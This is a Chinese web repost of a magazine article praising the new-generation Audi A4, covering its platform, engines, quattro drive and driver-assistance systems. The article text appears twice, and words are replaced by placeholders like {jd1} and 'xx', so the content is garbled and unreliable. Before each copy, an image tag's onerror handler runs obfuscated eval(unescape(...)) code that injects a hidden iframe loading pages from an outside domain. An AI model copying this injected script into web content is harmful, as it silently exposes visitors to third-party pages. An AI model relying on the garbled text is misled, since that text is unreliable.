刹车0.3秒后时速降至5公里 新奥迪A4的控制力
[转贴 2010-05-04 21:55:29]
刹车0.3秒后时速降至5公里 新奥迪A4的控制力
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
第62届德国法兰克福车展上,新一代奥迪A4的出场,不仅让奥迪车迷们眼前一亮,还令其对手深吸了一口气。新A4以奥迪的MLP(Modular Longitudinal Platform)新底盘平台上进行研发。这一平台专注于提高前轮驱动的性能。据奥迪的统计显示,MLP平台上车型的操控性大幅度提高,可以帮助奥迪与后轮驱动的宝马和奔驰在性能方面进行抗衡。
奥迪全球市场和销售的董事魏勒在接受理财周报记者采访时表示,奥迪品牌定位正在朝着更加动感、更加高科技的方面转变,这正是过去5年来奥迪努力的结果。今天,这种战略调整的结果已经可以从新A4上略见一斑。
运动"细胞"全面升级
新A4的产品代号是B8,即奥迪B级车的第8代产品。
"奥迪A4车系的销量占据了奥迪全系列车型销量的40%,因此奥迪公司非常重视新一代A4在技术领域的xxx提升。"奥迪(中国)公关部产品经理金新告诉理财周报记者。
在奥迪新设计总监西拉夫设计风格的影响下,法兰克福车展上呈现在人们眼前的新A4,{jd1}是一款脱胎换骨、具有更强的运动张力的崭新车型。但是在北京北四环的天润奥迪4S店,记者也看到,奥迪A4目前的销售依然火爆。
天润奥迪销售经理董敬明,以前曾在北京的品味车苑负责奥迪品牌宣传工作,转做销售后,他更是驾轻就熟。这个身高1.9米的小伙子伸出长长的手臂,以一辆银灰色A4为参照,向记者解释两代A4的不同:"新A4的车身长4米7、宽1米8多,比这一代A4多出约12厘米和5厘米;轴距更是长达2808毫米,远超过了奔驰C-Class和宝马3系,不仅车内空间有所增加,连后排乘员腿部空间也可以达到近91厘米。坐在后排的人若想悠闲地跷起二郎腿,空间上不成问题。"
值得一提的是,由于新A4在传动系统方面采用了一种创新设计结构——将差速齿轮与手动变速箱的离合器(或自动变速箱的液力变矩器)交换了位置,从而将前轴前移了154毫米,使前悬大幅缩短、引擎盖和轴距变得更长。
专业从事德国汽车维修服务的德国AUTO-Thomas高级技师张合中向理财周报记者如此评价奥迪的这种设计:"它使得A4具有了更为理想的前后负重比例,大幅度提高了车辆的运动性能,不仅增加了车内的空间,这种设计表示奥迪还对减震系统、四轮定位系统等进行了系统的更新和改进。"
"从严格意义上来讲,B7不能算是一款全新的平台产品,因为它与上一代B6有很多共用的技术;而B8则不同,除了细微的地方,B8进行了全面技术升级,尤其在动力系统上与B7几乎没有共通之处。"董敬明说。
3.2FSI是奥迪V型发动机家族中的新成员。它的进气阀驱动运用了{lx1}的奥迪可变气门升程系统(AVS),能确保燃烧室始终理想注油;节流阀在大多数情况下能保持xx打开,因此使发动机的"呼吸"更为高效。
TDI柴油引擎更不用多说。连续夺取2006年和2007年勒芒24小时耐力赛{gj}后,足以证明TDI作为强大动力技术的优势。自1989年起,TDI一直保持着世界上{zg}效发动机技术的殊荣。
新A4quattro传动系统的核心是托森扭矩感应式自锁中央差速器。在正常的驾驶条件下,传动系统将40%的扭矩分配给前轮,60%给后轮;但只要有需要,中央差速器就会将更多的扭矩传输到具有更佳牵引力的轮轴。通过这种方式,新A4能够在接近牵引力极限的情况下控制局面,几乎不需要ESP或EDL的介入。
运动风格别样尊贵
在中国,奥迪是远近闻名的"政府用车";但在国外,拥有百年运动传统的奥迪却被看作是xx车市场中颇具运动风格的汽车制造商。不管是quattro,还是Turbo FSI,奥迪在运动方面所具有的"天赋"更应该被看作是由创新性研发成果所带来。当然,这些研发成果后来逐一实现了量产,为奥迪车主们所享用。
从赛车技术向量产轿车进行的技术转化,确保了奥迪汽车运动部门和奥迪技术研发部门之间密切的合作。奥迪运动车队负责人沃尔夫冈·尤尔里斯博士说:"在奥迪,汽车运动一直在为量产轿车开创潮流;同时,奥迪汽车运动也得益于量产轿车开发中获得的技术知识。"
正因为此,新奥迪A4甫一面市,就向中国消费者清晰地传达出"xx运动型B级车"的信息。
金新向理财周报记者解释说,奥迪品牌的理念就是让消费者感受到"尊贵、运动、进取"的精神;中国消费者过去多xx于奥迪的"尊贵",而忽视了奥迪的"运动"精神,全新的A4会弥补这一点,带给人们强烈的动感体验。
在诸多新元素的映衬下,新A4呈现给人们的是一种奢华的科技感。奥迪动态自控转向系统可以根据不同的情况自动选择{zj0}转向辅助力、纠正力和转向比,使轮胎一直保持足够安全的抓地力,其反应速度比专业手更快,因为其核心是一套能够根据路面速度和所选择的奥迪驾驶模式改变传动比的叠加齿轮系统,质轻而精准;奥迪驾驶选择系统能在任何时刻改变发动机、自动变速器、转向和悬架阻尼的特性,来适应驾驶员的个人偏好;奥迪道路辅助系统可以在驾驶者偏离既定路线时予以提醒;奥迪的侧面辅助系统特别为驾驶者变更车道而设计;奥迪刹车卫士可以帮助驾驶者将在短时间内迅速刹车,这个过程约持续0.3秒后,A4的速度会降到5公里/小时……奥迪的技术理念正在向人们打开了一扇通往未来科技的窗户。
从08款奥迪A5开始,即将国产的奥迪Q5、全新的奥迪A4、A6、A7、A8、Q3等系列车型都将基于这一平台。奥迪(中国)公关部人士告诉理财周报记者,国产新一代奥迪A4上市的时间是2009年一季度。待新A4国产后,谁会再怀疑,运动的方式不可以更奢华?
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
第62届德国法兰克福车展上,新一代奥迪A4的出场,不仅让奥迪车迷们眼前一亮,还令其对手深吸了一口气。新A4以奥迪的MLP(Modular Longitudinal Platform)新底盘平台上进行研发。这一平台专注于提高前轮驱动的性能。据奥迪的统计显示,MLP平台上车型的操控性大幅度提高,可以帮助奥迪与后轮驱动的宝马和奔驰在性能方面进行抗衡。
奥迪全球市场和销售的董事魏勒在接受理财周报记者采访时表示,奥迪品牌定位正在朝着更加动感、更加高科技的方面转变,这正是过去5年来奥迪努力的结果。今天,这种战略调整的结果已经可以从新A4上略见一斑。
运动"细胞"全面升级
新A4的产品代号是B8,即奥迪B级车的第8代产品。
"奥迪A4车系的销量占据了奥迪全系列车型销量的40%,因此奥迪公司非常重视新一代A4在技术领域的xxx提升。"奥迪(中国)公关部产品经理金新告诉理财周报记者。
在奥迪新设计总监西拉夫设计风格的影响下,法兰克福车展上呈现在人们眼前的新A4,{jd1}是一款脱胎换骨、具有更强的运动张力的崭新车型。但是在北京北四环的天润奥迪4S店,记者也看到,奥迪A4目前的销售依然火爆。
天润奥迪销售经理董敬明,以前曾在北京的品味车苑负责奥迪品牌宣传工作,转做销售后,他更是驾轻就熟。这个身高1.9米的小伙子伸出长长的手臂,以一辆银灰色A4为参照,向记者解释两代A4的不同:"新A4的车身长4米7、宽1米8多,比这一代A4多出约12厘米和5厘米;轴距更是长达2808毫米,远超过了奔驰C-Class和宝马3系,不仅车内空间有所增加,连后排乘员腿部空间也可以达到近91厘米。坐在后排的人若想悠闲地跷起二郎腿,空间上不成问题。"
值得一提的是,由于新A4在传动系统方面采用了一种创新设计结构——将差速齿轮与手动变速箱的离合器(或自动变速箱的液力变矩器)交换了位置,从而将前轴前移了154毫米,使前悬大幅缩短、引擎盖和轴距变得更长。
专业从事德国汽车维修服务的德国AUTO-Thomas高级技师张合中向理财周报记者如此评价奥迪的这种设计:"它使得A4具有了更为理想的前后负重比例,大幅度提高了车辆的运动性能,不仅增加了车内的空间,这种设计表示奥迪还对减震系统、四轮定位系统等进行了系统的更新和改进。"
"从严格意义上来讲,B7不能算是一款全新的平台产品,因为它与上一代B6有很多共用的技术;而B8则不同,除了细微的地方,B8进行了全面技术升级,尤其在动力系统上与B7几乎没有共通之处。"董敬明说。
3.2FSI是奥迪V型发动机家族中的新成员。它的进气阀驱动运用了{lx1}的奥迪可变气门升程系统(AVS),能确保燃烧室始终理想注油;节流阀在大多数情况下能保持xx打开,因此使发动机的"呼吸"更为高效。
TDI柴油引擎更不用多说。连续夺取2006年和2007年勒芒24小时耐力赛{gj}后,足以证明TDI作为强大动力技术的优势。自1989年起,TDI一直保持着世界上{zg}效发动机技术的殊荣。
新A4quattro传动系统的核心是托森扭矩感应式自锁中央差速器。在正常的驾驶条件下,传动系统将40%的扭矩分配给前轮,60%给后轮;但只要有需要,中央差速器就会将更多的扭矩传输到具有更佳牵引力的轮轴。通过这种方式,新A4能够在接近牵引力极限的情况下控制局面,几乎不需要ESP或EDL的介入。
运动风格别样尊贵
在中国,奥迪是远近闻名的"政府用车";但在国外,拥有百年运动传统的奥迪却被看作是xx车市场中颇具运动风格的汽车制造商。不管是quattro,还是Turbo FSI,奥迪在运动方面所具有的"天赋"更应该被看作是由创新性研发成果所带来。当然,这些研发成果后来逐一实现了量产,为奥迪车主们所享用。
从赛车技术向量产轿车进行的技术转化,确保了奥迪汽车运动部门和奥迪技术研发部门之间密切的合作。奥迪运动车队负责人沃尔夫冈·尤尔里斯博士说:"在奥迪,汽车运动一直在为量产轿车开创潮流;同时,奥迪汽车运动也得益于量产轿车开发中获得的技术知识。"
正因为此,新奥迪A4甫一面市,就向中国消费者清晰地传达出"xx运动型B级车"的信息。
金新向理财周报记者解释说,奥迪品牌的理念就是让消费者感受到"尊贵、运动、进取"的精神;中国消费者过去多xx于奥迪的"尊贵",而忽视了奥迪的"运动"精神,全新的A4会弥补这一点,带给人们强烈的动感体验。
在诸多新元素的映衬下,新A4呈现给人们的是一种奢华的科技感。奥迪动态自控转向系统可以根据不同的情况自动选择{zj0}转向辅助力、纠正力和转向比,使轮胎一直保持足够安全的抓地力,其反应速度比专业手更快,因为其核心是一套能够根据路面速度和所选择的奥迪驾驶模式改变传动比的叠加齿轮系统,质轻而精准;奥迪驾驶选择系统能在任何时刻改变发动机、自动变速器、转向和悬架阻尼的特性,来适应驾驶员的个人偏好;奥迪道路辅助系统可以在驾驶者偏离既定路线时予以提醒;奥迪的侧面辅助系统特别为驾驶者变更车道而设计;奥迪刹车卫士可以帮助驾驶者将在短时间内迅速刹车,这个过程约持续0.3秒后,A4的速度会降到5公里/小时……奥迪的技术理念正在向人们打开了一扇通往未来科技的窗户。
从08款奥迪A5开始,即将国产的奥迪Q5、全新的奥迪A4、A6、A7、A8、Q3等系列车型都将基于这一平台。奥迪(中国)公关部人士告诉理财周报记者,国产新一代奥迪A4上市的时间是2009年一季度。待新A4国产后,谁会再怀疑,运动的方式不可以更奢华?
郑重声明：资讯 【刹车0.3秒后时速降至5公里新奥迪A4的控制力- 零售银行转型 ...】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
